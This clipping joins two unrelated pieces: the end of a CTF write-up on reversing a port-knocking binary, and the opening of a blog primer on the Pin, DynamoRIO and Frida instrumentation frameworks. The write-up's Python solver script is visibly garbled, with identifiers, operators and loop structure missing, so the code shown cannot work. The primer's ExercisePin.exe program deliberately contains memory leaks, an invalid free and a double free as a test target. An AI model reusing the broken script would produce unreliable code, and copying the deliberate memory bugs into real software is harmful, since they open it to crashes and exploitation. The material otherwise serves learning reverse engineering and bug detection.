        *(&var_60 + 0xc) = 0x0;
        var_60 = 0x2;
        var_64 = 0x0;
        var_62 = LOWORD(htons@PLT(LOWORD(*(arg_offset_x0 * 0x4 + 0x8049ac4)) & 0xffff));
        var_48 = 0x1;
        setsockopt@PLT(var_52, 0x1, 0x2, &var_48, 0x4);
        if (bind@PLT(var_52, &var_60, 0x10) < 0x0) {
                perror@PLT("FATAL ERROR on binding");
                exit@PLT(0x1);
        }
        listen@PLT(var_52, 0x5);
        var_44 = 0x10;
        var_56 = accept@PLT(var_52, &var_76, &var_44);
        close@PLT(var_52);
        if (var_56 < 0x0) {
                perror@PLT("FATAL ERROR on accept");
                exit@PLT(0x1);
        }
        eax = var_56;
        edx = var_92 ^ *0x14;
        if (CPU_FLAGS & E) {
                eax = __stack_chk_fail@PLT();
        }
        return eax;
    }
    
[/code]

This function looks complicated, but keep in mind we don’t need to understand
every detail. Seeing the functions called, we guess it’s creating a socket and
listening on a new port. All we have to do is guess which one. Resist the
temptation of bruteforcing, we can do better\! `htons` is used to convert a
port number \(or anything else\) from host- to network byte order. This means
that the data we need is its argument.

`*(arg_offset_x0 * 0x4 + 0x8049ac4)) & 0xffff)` is taking the port number from
an offset of the address `0x8049ac4`. The `& 0xffff` is ignoring the higher
bits of the data, since a port number is ranging from 1 to 65535.
`arg_offset_x0` is the loop counter passed from the previous function, \(`+
1`, see line `arg_offset_x0 = arg_offset_x0 + 0x1;`.

Since an `int` is 4 bytes long, the `htons` call looks like `port =
htons(port_list[counter + 1])`, with `port_list` living at `0x8049ac4`.

By default, hopper shows `0x8049ac4` as one-byte data, in hex representation.

<img src='img/Temp2_7703.png' />

We can display the data in a more port looking way. Select the first address
containing only one byte, and press `D` three time to set the data size to 4
bytes. Repeat for the four next ports in list.

We can now toggle the representation to decimal instead of hex, and the port
list is ours\!

<img src='img/Temp2_7705.png' />

## Wrapping up

  * The first stage of the portknock is listening on port 3422
  * It sends a 4 bytes value when we connect, and expects a specific response to go on.
  * The next stage opens a new connections on a different port, and resend a challenge.
  * When the challenge-response has been done 5 times, the portknock sends the flag.

In code:

|

[code]

    import socket struct 
     mangle counter
       counter    
          return counter    
          return   counter  
    KNOCK_SERVER_IP  "192.168.0.105"
    ports        # the list of knocked port, extracted from the binary
        enumerateports
      print"+ Knocking on" 
      # create a TCP socket and connect to the portknock server
        socketsocketsocketAF_INET socketSOCK_STREAM
      connectKNOCK_SERVER_IP 
      # receive and unpack the challenge
      received   structunpack'<i' 
      print"+ Received challenge value:" received
      send_me  manglereceived 
      print"+ Sending response" send_me
      struct'<i' send_me
      # the VM is really slow to open a new socket, we need to wait a bit
      sleep
          # we're in the last stage of the knock
          # receive and show the flag
          print"+ Got flag:"
          printdecode
    
[/code]  
---|---  
The `'<i'` format means we’re packing or unpacking a little endian signed
integer.

Here’s the code in action:

[code]

    $ python3 knock_it_up.py 
    + Knocking on 3422
    + Received challenge value # 0 : 92
    + Sending response 184
    + Knocking on 4532
    + Received challenge value # 1 : 88
    + Sending response 91
    + Knocking on 5923
    + Received challenge value # 2 : 65
    + Sending response 260
    + Knocking on 2342
    + Received challenge value # 3 : 1
    + Sending response 6
    + Knocking on 5532
    + Received challenge value # 4 : 109
    + Sending response 654
    + Got flag:
    DemonViolatePride346
    
[/code]

# Dynamic Binary Instrumentation Primer

**Created:**| _9/23/2018 9:02:40 AM_  
---|---  
**Updated:**| _9/23/2018 9:02:40 AM_  
**Author:**| _wishi_  
**Tags:**| _binary instrumentation_  
  

  

# Dynamic Binary Instrumentation Primer

Jul 25, 2018 • By rui

_`Dynamic Binary Instrumentation` \(`DBI`\) is a method of analyzing the
behavior of a binary application at runtime through the injection of
instrumentation code_ \- Uninformed 2007

## Introduction

The purpose of this post is to document my dive into the “world” of `Dynamic
Binary Instrumentation`. I’ll cover some of the most well known and used `DBI`
frameworks. That is Pin, DynamoRIO, and Frida. From these three I’ll mainly
focus on `Pin`. There are other `DBI` frameworks that I won’t touch at all,
like Valgrind, Triton \(uses `Pin`\), QDBI, BAP, Dyninst, plus many others.
You might want to have a look at them. Some are more mature, some are less
mature. Some have more features, some have fewer features. You’ll have to do
some research yourself and see which ones fit your needs. Even though Valgrind
is one of the most widely known, and used `DBI` frameworks, it’s only
available for `Linux`. So, I won’t touch it at all.

In my vulnerability hunting adventures I’ve been focused on `Windows`, and in
fact, if you want to take the code I’ll present here and build it on `Linux`
it should be pretty straightforward. While the opposite wouldn’t be true. The
reason being is that building Pin or DynamoRIO on `Windows` can be a bit
frustrating. Especially if you aren’t motivated to do so.

I’m not an expert in this area \(`DBI`\), however since the beginning of the
year that I’ve been doing some experiments around `Fuzzing`, and I’ve read a
lot about the subject. Hence, I’ll try to document some of what I learned for
future reference. Possibly you’ll also find it useful. Note that my goal was
to write a reference and not a tutorial.

The funny part is that I actually thought about doing “something” with Pin, or
DynamoRIO, while trying to do some browser Heap Spraying. Basically, I wanted
to monitor the memory allocations my code was producing. While I could do it
inside a `debugger` I thought, “ _why not use a DBI framework? Maybe I can
learn something_ ”. After all, debuggers are slow. Until today, I’m still
unsure if I prefer to use `WinDbg` or `Pin` for this anyway.

### Instrumentation

According to Wikipedia, `instrumentation` _refers to an ability to monitor or
measure the level of a product’s performance, to diagnose errors and to write
trace information. Programmers implement instrumentation in the form of code
instructions that monitor specific components in a system \(…\). When an
application contains instrumentation code, it can be managed using a
management tool. Instrumentation is necessary to review the performance of the
application. Instrumentation approaches can be of two types: Source
instrumentation and binary instrumentation._

As stated above, there are two types of instrumentation. `Source
instrumentation`, which is not possible if you don’t have the source code of
the software application. And `binary instrumentation`, which can be used with
any software application assuming we can execute it. It turns out that most of
the programs you run on a `Windows` operating system are closed source. Which
means, in this post, I’ll be “talking” only about `binary instrumentation`.
Often called `Dynamic Binary Instrumentation`, or `Dynamic Binary
Modification`. Because words take too long, usually people use the acronym
`DBI`, as I already did above.

In a one-line statement, `Dynamic Binary Instrumentation` is a technique that
involves injecting `instrumentation` code into a running process. The
`instrumentation code` will be entirely transparent to the application that
it’s been injected to.

With a `DBI` framework, we can analyze the target binary execution step by
step. However, note that the analysis only applies to **executed** code.

### Dynamic Program Analysis

There are two types of program analysis, `static`, and `dynamic`. We perform
`static analysis` without running a computer program. While we perform
`dynamic analysis` when we run a computer program.

Citing Wikipedia again, _Dynamic program analysis is the analysis of computer
software that is performed by executing programs on a real or virtual
processor. For dynamic program analysis to be effective, the target program
must be executed with sufficient test inputs to produce interesting behavior.
Use of software testing measures such as code coverage helps ensure that an
adequate slice of the program’s set of possible behaviors has been observed._

Dynamic binary modification tools, like the frameworks mentioned earlier,
introduce a layer between a running program and the underlying operating
system. Providing a unique opportunity to inspect and modify user-level
program instructions while a program executes.

These systems are very complex internally. However, all the complexity is
masked in an `API` that allows any user to quickly build a multitude of tools
to aid software analysis. And that’s what I’ll try to show in this `post`, by
sharing some code I wrote while playing with some `DBI` frameworks.

There are many reasons for us to observe and modify the runtime behavior of a
computer program. Software and/or hardware developers, system engineers, bug
hunters, malware analysts, end users, and so on. All of them will have their
own reasons. `DBI` frameworks provide access to every executed user-level
instruction. Besides a potentially small runtime and memory overhead, the
program will run identically to a native execution.

You can say that the main advantage of static analysis is that it ensures 100%
code coverage. With dynamic analysis, to ensure a high code coverage we’ll
need to run the program many times, and with different inputs so the analysis
takes different code paths. However, in some cases, the software applications
are so big that’s too costly to perform static analysis. I would say, one
complements the other. Even though static analysis is very boring, and dynamic
analysis is \(very\) fun.

As I mentioned before, `DBI` frameworks operate directly in
binaries/executables. We don’t need the source code of the program. We don’t
need to \(re\)compile or \(re\)link the program. Obviously, this is an **major
advantage** , as it allows us to analyze proprietary software.

A dynamic binary system operates at the same time as the “guest” program
executes while performing all the requested/required modifications on the fly.
This dynamic approach can also handle programs that generate code dynamically
\(even though it imposes a big engineering challenge\), that is, self-
modifying code. If you “google” a bit you’ll actually find multiple cases
where `DBI` frameworks are/were used to analyze malware with self-modifying
code. As an example, check this presentation from last year’s blackhat Europe.
Or, this post about how to unpack `Skype` with `Pin`.

`DBI` frameworks are daily used to solve computer architecture problems, being
heavily used in software engineering, program analysis, and **computer
security**. Software engineers want to deeply understand the software they
develop, analyze its performance, and runtime behavior in a systematic manner.
One common use of `DBI` frameworks is emulating new `CPU` instructions. Since
the dynamic binary system has access to every instruction before executing it,
hardware engineers can actually use these systems to test new instructions
that are currently unsupported by the hardware. Instead of executing a
specific instruction, they can emulate the new instruction behavior. The same
approach can be used to replace faulty instructions with the correct emulation
of the desired behavior. Anyway, from a computer security perspective, a `DBI`
system can be used for `flow analysis`, `taint analysis`, `fuzzing`, `code
coverage`, `test cases generation`, `reverse engineering`, `debugging`,
`vulnerability detection`, and even crazy things like `patching of
vulnerabilities`, and `automated exploit development`.

There are two main ways of using a dynamic binary system. The first, and
eventually most common, in computer security at least, is executing a program
from start to finish under the control of the dynamic binary system. We use it
when we want to achieve full system simulation/emulation because full control
and code coverage are desired. The second, we may just want to attach to an
already running program \(exactly in the same way a `debugger` can be
attached, or detached, from a running program\). This option might be useful
if we are interested in figuring out what a program is doing in a specific
moment.

Besides, most of the `DBI` frameworks have three modes of execution.
`Interpretation mode`, `probe mode`, and `JIT mode`. The JIT \(just-in-time\)
mode is the most common implementation, and most commonly used mode even when
the `DBI` system supports more than one mode of execution. In JIT mode the
original binary/executable is actually never modified or executed. The binary
is seen as data, and a modified copy of the binary is generated in a new
memory area \(but only for the executed parts of the binary, not the whole
binary\). Is this modified copy that’s then executed. In interpretation mode,
the binary is also seen as data, and each instruction is used as a lookup
table of alternative instructions that have the corresponding functionality
\(as implemented by the user\). In probe mode, the binary is actually modified
by overwriting instructions with new instructions. even though this results in
a low run-time overhead it’s very limited in certain architectures \(like
x86\).

Whatever the execution mode, once we have control over the execution of a
program, through a `DBI` framework, we then have the ability to add
`instrumentation` into the executing program. We can insert our code,
`instrumentation`, before and after `blocks` of code, or even replace them
completely.

We can visualize how it works in the diagram below.

<img src='img/DBI_Diagram.png' width='563' height='382' />

Also, there are different types of granularity.

  * Instruction level
  * Basic block level
  * Function level

The granularity choice, as you can guess, will allow you to have more, or
less, control over the execution of a program. Obviously, this will have an
impact on performance. Also, note that instrumenting a program in its totality
is unpractical in most cases.

### Performance

You might be thinking what’s the performance impact of modifying a running
program on the fly as described above. Well, I have a very limited experience
to answer this question. However, after reading multiple papers, articles, and
presentations, the overhead commonly observed depends on a random number of
factors really. Anyway, as kind of expected, the modifications the user
implements are responsible for the majority of the overhead. The number 30% is
apparently accepted as a common average number observed. Can’t really remember
where I read this to mention the source, but I definitely read it somewhere.
You’ll find it for sure in the `References` section anyway. Obviously, one of
the first decisions that you, as a `DBI` user, will have to make is to decide
the amount of code coverage required by your needs and the amount of
performance overhead you’ll be able to accept as reasonable.

## Pin

Pin is a `DBI` framework developed by Intel Corp. It allows us to build
program analysis tools known as `Pintools`, for `Windows`, `Linux`, and `OSX`.
We can use these tools to monitor, modify, and record the behavior of a
program while it is running.

`Pin` is proprietary software. However, we can download and use it free of
charge for **non-commercial use**. Besides the documentation and the binaries,
`Pin` also includes source code for a large collection of sample `Pintools`.
These are invaluable examples that we must consider, and definitely read,
before developing any `Pintool`.

In my opinion, `Pin` is the easiest `DBI` framework to use. At least I felt it
was easier to dive into it’s `API` than into the `DynamoRIO` one. Even though
I didn’t spend too much time trying to learn other `APIs` besides these two, I
had a look at a few others. Like Valgrind, Triton, Dyninst, and Frida. The
choice will always depend on what you intend to do, honestly.

If you want to create a commercial tool and distribute binary versions of it,
`Pin` won’t be a good choice. If that’s not the case, `Pin` might be a very
good choice. Mainly because based on the tests I did, `Pin` is stable and
reliable. I had some issues running some programs under some `DBI` frameworks.
Mainly big programs, like `Office` suites, games, and AV engines. Some `DBI`
frameworks were failing miserably, some even with small applications.

#### Pin setup \(Windows\)

`Pin` setup in `Linux` is quite straightforward. However, on `Windows`
systems, it can be a bit tricky. See below how to quickly set it up to get
started in case you want to try the samples I’ll present in this post.

Get the latest `Pin` version from here, and unpack it on your `C:\` drive, or
wherever you want. For simplicity, I usually use `C:\pin`. I advise you to do
the same if you plan to follow some of the experiments presented in this post.

The `Pin` zip file includes a big collection of sample `Pintools` under
**source/tools**. The `API` is very easy to read and understand as we’ll see.
By the end of this post you should be able to read the source code of most of
the samples without any struggle \(well, kind of\).

I like `Visual Studio`, and I’ll be using it to build “every” tool mentioned
in this post. There’s one `Pintool` sample that’s almost ready to be built
with `Visual Studio`. You’ll have to adjust only a couple of settings.
However, I didn’t want to manually copy and rename files every time I wanted
to create a new `Pintool` project. So I created a sample project already
tweaked, available here that you can place under `C:\pin\source\tools`,
together with the following python script. The script was inspired by Peter’s
script. However, since the way newer versions of `Visual Studio` save the
settings has changed I had to re-write/create a completely new script.

So, every time you want to build a new `Pintool` with `Visual Studio`, just
do:

[code]

    cd\
    cd pin
    python create_pintool_project.py -p <name_of_your_project>
    
[/code]

You can then just click the project’s solution file and build your `Pintool`
with `Visual Studio` without any pain. I used `Visual Studio Professional
2015`, but it will also work with `Visual Studio 2017`. I did a couple of
builds with `Visual Studio 2017 Enterprise` without any issue.

##### Pin Visual Studio integration

We can add our `Pintools` as external tools to `Visual Studio`. This will
allow us to run, and test, our `Pintool` without using the command line all
the time. The configuration is very simple. From the `Tools` menu, select
`External tools` and a dialog box will appear. Click the `Add` button and fill
out the text input boxes according to the image below.

<img src='img/Visual.Studio.Tools.setup.png' width='460' height='480' />

In the `Title`, input text box enter whatever you want. In the `Command` input
text box enter the full path to your `pin.exe`, so `c:\pin\pin.exe` in case
you installed it under `c:\pin`. In the `Arguments`, you must include all the
arguments you want to pass to your Pintool. You’ll need at least the ones
specified in the image above. The `-t` is to specify where your Pintool is,
and after the `--` is the target program you want to instrument.

After the setup, you can simply run your Pintool from the `Tools` menu as
shown in the image below.

<img src='img/Visual.Studio.Pintool.png' width='576' height='451' />

Click ok, and enjoy.

<img src='img/Visual.Studio.Tools.run.png' width='450' height='156' />

The `Output` window of `Visual Studio` will show whatever the output your
`Pintool` is writing to `stdout`.

## DynamoRIO

DynamoRIO is another `DBI` framework originally developed in a collaboration
between HP’s Dynamo optimization system and the Runtime Introspection and
Optimization \(RIO\) research group at MIT. It allows us to build program
analysis tools known as `clients`, for `Windows`, and `Linux`. We can use
these tools to monitor, modify, and record the behavior of a program while it
is running.

`DynamoRIO` was first released as a proprietary binary toolkit in 2002 and was
later open-sourced with a BSD license in 2009. Like `Pin`, it also comes with
source code for multiple `client` samples. These are invaluable examples to
get us started and playing with its `API`.

`DynamoRIO` is a runtime code manipulation system which allows code
transformation on any part of the program as the program runs. It works as an
intermediate platform between applications and operating system.

As I said before, I didn’t find `DynamoRIO`’s `API` the most friendly and easy
to use. However, if you plan to make a commercial version, and/or distribute
binary versions, `DynamoRIO` might be the best option. One of its advantages
is the fact that it is `BSD` licensed, which means `free software`. If that’s
important for you, go with `DynamoRIO`.

Also note that’s commonly accepted that `DynamoRIO` is faster than `Pin`,
check the `References` section. However, is equally accepted that `Pin` is
more reliable than `DynamoRIO`, which I also personally experienced when
running big software programs.

#### DynamoRIO setup \(Windows\)

To install `DynamoRIO` on `Windows` simply download the latest `Windows`
version from here \(DynamoRIO-Windows-7.0.0-RC1.zip at the time of this
writing\), and similarly to what we did with `Pin` just unzip it under
`C:\dynamorio`.

To build your own `DynamoRIO` projects on Windows it can be a bit tricky
though. You can try to follow the instructions here or the instructions here
or, to avoid frustration, just… use my `DynamoRIO` `Visual Studio` template
project.

As I said before, I like `Visual Studio`. I created a sample project already
tweaked with all the `includes` and `libs` required \(assuming you unzipped
`DynamoRIO` in the directory I mentioned before\), available here. Then, more
or less the same way we did with `Pin`, also download the following python
script. Since the file structure of the project is a bit different I couldn’t
use the `script` I wrote before to clone a project, and I had to create a new
one specific to `DynamoRIO`.

So, every time you want to build a new `DynamoRIO` client with `Visual
Studio`, just do:

[code]

    python create_dynamorio_project.py -p <name_of_your_project>
    
[/code]

The command above assumes that both the `Python` script and the template
project mentioned above are in the same folder.

You can then just click the project’s solution file and build your `DynamoRIO
client` with `Visual Studio` without any pain. I used `Visual Studio
Professional 2015`, but it will also work with `Visual Studio 2017`. I did a
couple of builds with `Visual Studio 2017 Enterprise` without any issue.

##### DynamoRIO Visual Studio integration

We can also integrate `DynamoRIO` with `Visual Studio`, exactly the same way
we did with `Pin`. Since the setup process is exactly the same, I’ll only
leave here the screenshot below and you can figure how to do the rest.

<img src='img/Visual.Studio.Tools.dynamorio.setup.png' width='460'
height='480' />

## Frida

Frida is a `DBI` framework developed mainly by Ole. It became very popular
among the “mobile” community and gained a considerable group of contributors
\(now sponsored by NowSecure\). `Frida` supports `OSX`, `Windows`, `Linux`,
and `QNX`, and has an `API` available for multiple languages, like `Python`,
`C#`, `Swift`, `Qt\QML` and `C`. Just like the `DBI` frameworks mentioned
above, we can use `Frida` together with `scripts` to monitor, modify, and
record the behavior of a program while it is running.

`Frida` is free \(free as in free beer\) and is very easy to install \(see
below\). There are also many usage examples online that we can use to get
started. `Frida` injects Google’s V8 engine into a process. Then, `Frida` core
communicates with `Frida`’s agent \(process side\) and uses the `V8` engine to
run the `JavaScript` code \(creating dynamic hooks\).

`Frida`’s `API` has two main parts. The `JavaScript` `API` and the `bindings
API`. I didn’t dive too deep into them and just used the most popular I
believe. That is the `JavaScript` `API`. I found it easy to use, very
flexible, and I could use it to **quickly** write some introspection tools.

Even though `Pin` and `DynamoRIO` are the “main” `DBI` frameworks, and most
mature, `Frida` has some advantages. As mentioned above, it has bindings for
other/more languages, and rapid tool development is a reality. It also has
some disadvantages, less maturity, less documentation, less granularity than
other frameworks, and consequently lack of some functionalities.

#### Frida setup \(Windows\)

`Frida`’s setup is very easy. Just download `https://bootstrap.pypa.io/get-
pip.py` and then run:

[code]

    python get-pip.py
    
[/code]

And, to actually install `Frida` type the following.

[code]

    cd\
    cd Python27\Scripts
    pip.exe install frida
    
[/code]

And that’s it, you are ready to go. Yes, you have to install `Python` before
the steps above. However, I don’t know anyone that doesn’t have `Python`
installed so I just assume it’s already there.

## Generic DBI usage

Before diving into some code, I’ll try to document in this section generic
ways of using some of the `DBI` frameworks I mentioned before. More precisely
Pin, and DynamoRIO.

As mentioned before, the most common execution mode in a `DBI` system is the
JIT \(just-in-time-compiler\). The JIT compiler will create a modified copy of
chunks of instructions just before executing them, and these will be cached in
memory. This mode of execution is the default in most of the `DBI` frameworks
I had a look and is also generally accepted as the most robust execution
model.

Also, as mentioned before, there are two main methods to control the execution
of a program. The first is to run the entire program under the control of the
`DBI` framework. The second is to attach to a program already running. Just
like a debugger.

Below is the standard way to run a program under the control of a `DBI`
system. Our target/guest application is not directly launched from the command
line. Instead, it is passed as an argument to the `DBI` system. The `DBI`
system initializes itself, and then launches the program under its control and
modifies the program according to the plug-in. The plug-in contains the actual
user-defined code, that is our `instrumentation` code. The plug-in on `Pin`
it’s called `Pintool`, on `DynamoRIO` it’s called `client`, on `Frida` I
believe it’s simply called `script`?

`PIN` JIT mode.

[code]

    pin.exe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args>
    
[/code]

`PIN` Probe mode.

[code]

    pin.exe -probe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args>
    
[/code]

`DynamoRIO` JIT mode.

[code]

    drrun.exe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args>
    
[/code]

`DynamoRIO` Probe mode.

[code]

    drrun.exe -mode probe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args>
    
[/code]

As we can see above, the way we launch Pin and DynamoRIO it is not that
different. In `Linux` systems, it’s pretty much the same \(yes, remove the
`.exe`, and substitute the `.dll` by `.so` and that’s it\).

Obviously, there are many other options that can be passed on the command line
besides the ones shown above. For a full list check the help/man pages. Above
are just the **required** options for reference.

Frida is a bit different, and we’ll see ahead how to use it.

If you want to attach to a running process, you can do it with `Pin`. However,
as of today, attaching to a process with `DynamoRIO` is not supported.
However, there are two methods of running a process under `DynamoRIO` in
`Windows`. You can read more about it here.

With `Pin` you can simply attach to a process by using the `-pid` argument as
shown below.

[code]

    pin.exe -pid <target pid> <other pin args> -t <pintool>.dll <pintool args>
    
[/code]

### User defined modifications

Despite the `DBI` we are using, each `DBI` framework provides an `API` that we
can use to specify how we modify the target/guest program. The abstraction
introduced by the `API` is used together with code usually written in `C`, or
`C++` \(or even `JavaScript`, or `Swift` in the case of `Frida`\) to create a
plug-in \(in the form of a shared library as we saw above\) which will then be
“injected” in the running target/guest program by the `DBI` system. It will
run on the **same address space** of the target/guest program.

This means that in order for us to use a `DBI` system, we need not only to
know how to launch a target/guest program, as illustrated above but also be
familiar and understand the `API` exported by the framework we want to use.

Unfortunately, the `APIs` of these multiple frameworks are very different.
However, as will see the general concepts apply to most of them. As I
mentioned before, I’ll be focusing mainly in `Pin`. I’ll also try to recreate
more or less the same functionality with `DynamoRIO` and `Frida`, so we will
also get a bit familiar with their `API` somehow. Note that the `API` coverage
won’t be by any means extensive. I advise you to check each `DBI` framework
`API` documentation if you want to know more. By following this post you’ll
simply get a sense of what’s available in the `API`, eventually limited to the
use case scenario I chose.

The idea behind any `API` is to hide the complexity of certain operations from
the user, without removing any power to perform any task \(including complex
tasks\). We can usually say that the easier is to use the `API` the better it
is.

All the `APIs` allow us to, in a certain way, iterate over the instructions
the `DBI` system is about to run. This allows us to **add** , **remove** ,
**modify** , or **observe** the instructions **prior** to execute them. For
example, my initial idea was to simply log \(observe\) all the calls to memory
related functions \(`malloc`, and `free`\).

We can, not only introduce instructions to get profiling/tracing information
about a program but also introduce complex changes to the point of completely
replace certain instructions with a completely new implementation. Think for
example, as replacing all the `malloc` calls with your own `malloc`
implementation \(that, for example, introduces shadow bytes and so on\).

In `DynamoRIO` it’s slightly different. However, in `Pin` most of the `API`
routines are call based. This makes the `API` very user-friendly. At least to
the way I think when I visualize the usage of a `DBI` system. This is also
possible with `DynamoRIO`, obviously, as we will see. Basically, we register a
`callback` to be `notified` when certain events occur \(a call to `malloc`\).
For performance reasons, `Pin` inlines these `callbacks`.

As we saw, most of the `DBI` frameworks support multiple operating systems,
and platforms. Most of the time, the `APIs` are the same and all the
differences between operating systems are kept away from the user and handled
“under the table”. However, there are still certain `APIs` that are specific
to certain operating systems. You need to be aware of that.

It’s also important to distinguish between `instrumentation` and `analysis`
code. `Instrumentation` code is applied to specific code locations, while
`analysis` code is applied to events that occur at some point in the execution
of the program. As stated on Wikipedia _Instrumentation routines are called
when code that has not yet been recompiled is about to be run, and enable the
insertion of analysis routines. Analysis routines are called when the code
associated with them is run._ In other words, `instrumentation` routines
define **where** to insert instrumentation. `Analysis` routines define
**what** to do when the instrumentation is activated.

The `APIs` of `Pin`, `DynamoRIO`, and `Frida` allow us to iterate over the
target/guest program with a distinct level of granularities. That is, iterate
over every single instruction, just before an instruction execute, entire
basic blocks, traces \(multiple basic blocks\), or the entire target/guest
program \(image\).

## Example tool

As I mentioned, while I was playing with `Heap Spraying` I felt the need of
logging all the memory allocations my code was performing. Since I felt a bit
annoyed after doing this repeatedly with `WinDbg`, even with some automation,
I thought about doing it with a `DBI` framework. More precisely, with `Pin`.

I remember that during one of Peter Van Eeckhoutte’s exploitation classes he
mentioned he had written something similar. I looked at his GitHub and found
his Pintool. I had a look at his code, but since he used `Visual Studio 2012`,
plus an old version of `Pin`, plus a different approach of what I had in mind,
plus a different goal \(I had in mind doing something else besides logging
memory allocations\), and things changed a bit since then… I decided to write
my own `Pintool` instead of using, or modifying, his code. After all, it’s all
about struggling and learning. Not running tools. Later I realized that most
of his code comes from the `Pin` documentation, so does mine.

The goal was to write a `Pintool`, or a `DynamoRIO client`, and use it to
detect critical memory issues. Such as memory leaks and double frees. Yes, in
`C/C++` programs. You may say that there are plenty of tools that already
allow you to do that, and that’s eventually true \(in fact `DynamoRIO` comes
with a couple of tools that can help here\). The point here was to learn how
to write my own tool, have fun, get familiar with `DBI` frameworks, and
document my experiments for later reference. Eventually, it will also be used
as a soft introduction to `Dynamic Binary Analysis` by people who don’t know
where to start.

So, the “critical memory issues” I had in mind weren’t really that difficult
to `trace`. After looking at some almost ready to go code samples, I found in
the `Pin`’s documentation, I ended up expanding a bit the initial logging goal
I had in mind. And added a couple of “features” to aid my vulnerability
discover capabilities.

As you know, some common memory \(de\)allocation problems in `C/C++` programs
are:

  * Memory leaks
  * Double frees
  * Invalid frees
  * Use after frees \(Note, the code presented in this post doesn’t detect potential `user after free` issues. An improved version of this code does, available here\).

I assume everyone knows what the problems listed above are. If you don’t, or
you need a ‘refresh’, just click the links above.

At least the first 3 problems are very “easy” to detect with a `Pintool`, or a
`DynamoRIO client`. I’ll do a couple of assumptions. The target program is a
single binary/executable file, and the only functions that I’ll track to
allocate and free memory are `malloc` and `free` \(`calloc`, and `realloc` are
just “special” versions of `malloc` anyway\). Internally `new` and `delete`
use `malloc` and `free`, so we are covered. I can simply “monitor” these
calls. I won’t consider other functions like `realloc`, `calloc`, `HeapAlloc`,
`HeapFree`, etc. \(for now\). Yes, for now, I’ll focus only on the generic
malloc and free functions from the C Run-Time Library. In Windows, these
functions when called will then call HeapAlloc and HeapFree.

Here’s a diagram showing the relationship of `Windows API` calls used to
allocate process memory \(from the book The Art of Memory Forensics, and used
with authorization. Thanks to Andrew Case\).

<img src='img/memory.allocation.windows.png' width='576' height='381' />

As we can see above, ideally we should actually be “monitoring”
`RtlAllocateHeap` and `RtlFreeHeap`. However, we can ignore this for now. This
way, if you just want to try this code in `Linux`, or `OSX`, its mostly copy
and paste. Later, in the main version of this tool, I’ll indeed be only
working with the Windows Heap functions or my `Pintool` won’t work with
`Internet Explorer`, for example.

Whenever a program calls `malloc`, I’ll log the return address \(that is, the
address of the allocated memory region\). Whenever a program calls `free`,
I’ll match its address being freed with the addresses I saved before. If it
has been allocated and not freed, I’ll mark it as free. If it has been
allocated and already freed, then we have a double free. If I don’t have that
address saved has been allocated before, then we have a free of unallocated
memory. Simple, huh? Finally, when the program exits, I can look at my records
to detect memory addresses that have been allocated but not freed. This way I
can also detect memory leaks.

As we’ll see, using a dynamic binary framework to achieve what’s described
above can be done with very little effort. However, there are some issues that
we’ll ignore to keep this post simple. As you can eventually guess, the `Heap
Manager` also plays a role here, and our tool might have to be `Heap Manager`
specific if we don’t want to be flooded with false positives. Also, as
mentioned before, this tool will tell us there’s a bug, but not exactly where.
You can tell your tool to `break/pause` when an issue is found and attach a
`debugger`. However, depending on the class of `bug` it may still be very hard
to find where’s the `bug` and reproduce it.

While I was writing this blog post, a very interesting tool from Joxean Koret
called membugtool was released during the EuskalHack 2018 conference. His tool
does a bit more than mine \(well, actually considerable more\), and the code
is certainly better than mine. Keep following this post if you want to learn
more about `Pin` and other `DBI` frameworks, but don’t forget to check his
tool later. I was actually very happy when I saw it released because it means
my idea wasn’t a complete nonsense. On top of that Joxean Koret is a respected
researcher that I’ve been following for quite a long time, mainly due to his
awesome work on breaking Antivirus engines.

## Target/Guest program \(ExercisePin.exe\)

To test our multiple dynamic binary analysis tools, I wrote the following non-
sense program \(I called it `ExercisePin.exe`\). It’s quite clear that there
are some memory leaks, an invalid free, and a potential double-free
\(depending on our input\).

[code]

    #include <stdio.h>
    #include <stdlib.h>
    
    void do_nothing() {
      int *xyz = (int*)malloc(2);
    }
    
    int main(int argc, char* argv[]) {
      free(NULL);
    
      do_nothing();
    
      char *A = (char*)malloc(128 * sizeof(char));
      char *B = (char*)malloc(128 * sizeof(char));
      char *C = (char*)malloc(128 * sizeof(char));
    
      free(A);
      free(C);
    
      if (argc != 2)
        do_nothing();
      else
        free(C);
    
      puts("done");
      return 0;
    }
[/code]

As you can see it’s a very stupid program, I recommend you to test your tools
with real software and see how they behave. Also, check the previously
mentioned project membugtool since it includes a very nice set of tests which
actually made me lazy and I didn’t even try to improve the code above and
create new sample buggy programs. Depending on which compiler you use to build
this sample, you might have different results. I built mine with `Visual
Studio`. It has advantages, and disadvantages. If you prefer you can use
Dev-C++ \(which uses GCC\), or cygwin \(and install `gcc` or
`i686-w64-mingw32-gcc.exe`\), or even Embarcadero. Anyway, expect different
results depending on the compiler you choose to build the target program.

## Basic Pintool \(MallocTracer\)

In this first `Pintool` example, I’m logging all the `malloc` and `free`
calls. The instrumentation is added before and after the `malloc` call and
logs the parameter passed to the call and its return value. For the `free`
call we’ll only look at its parameter, and not at its return value. So the
instrumentation is only added before the call. This `Pintool` will not be very
useful in big applications since it doesn’t really tell you where the issue
is. Anyway, it is a good start and will serve the purpose of “showing” how the
`Pin` `API` can be used.

We need to start by choosing which instrumentation granularity we’ll use. Have
a look at the documentation for more details. I’ll be using `Image`
`instrumentation`.

_Image instrumentation lets the Pintool inspect and instrument an entire
image, IMG, when it is first loaded. A Pintool can walk the sections, SEC, of
the image, the routines, RTN, of a section, and the instructions, INS of a
routine. Instrumentation can be inserted so that it is executed before or
after a routine is executed, or before or after an instruction is executed.
Image instrumentation utilizes the IMG\_AddInstrumentFunction API call. Image
instrumentation depends on symbol information to determine routine boundaries
hence PIN\_InitSymbols must be called before PIN\_Init._

We start with some includes. To use the `Pin API` we need to include `pin.h`.

[code]

    #include "pin.h"
    #include <iostream>
    #include <fstream>
    #include <map>
[/code]

The `iostream` header is required for basic input/output operations, and the
`fstream` header is required because I’ll write the output of my `Pintool` to
a file. In small programs, we could live with the console output, however for
big programs we need to save the output to a file. If you are instrumenting
`Internet Explorer` for example and playing with some `JavaScript` code, the
amount of `malloc` and `free` calls is impressive \(well, `RtlAllocateHeap`,
and `RtlFreeHeap`\). In some big programs you might not even want to write to
disk every time there’s a call due to performance reasons, but let’s ignore
that to keep things simple.

Additionally, I’ll use a `map` container to keep a log of all the memory
allocated and freed. Check the `References` section to see how the `C++` `map`
container “works” if you aren’t used to writing code in `C++`. Since I’m not a
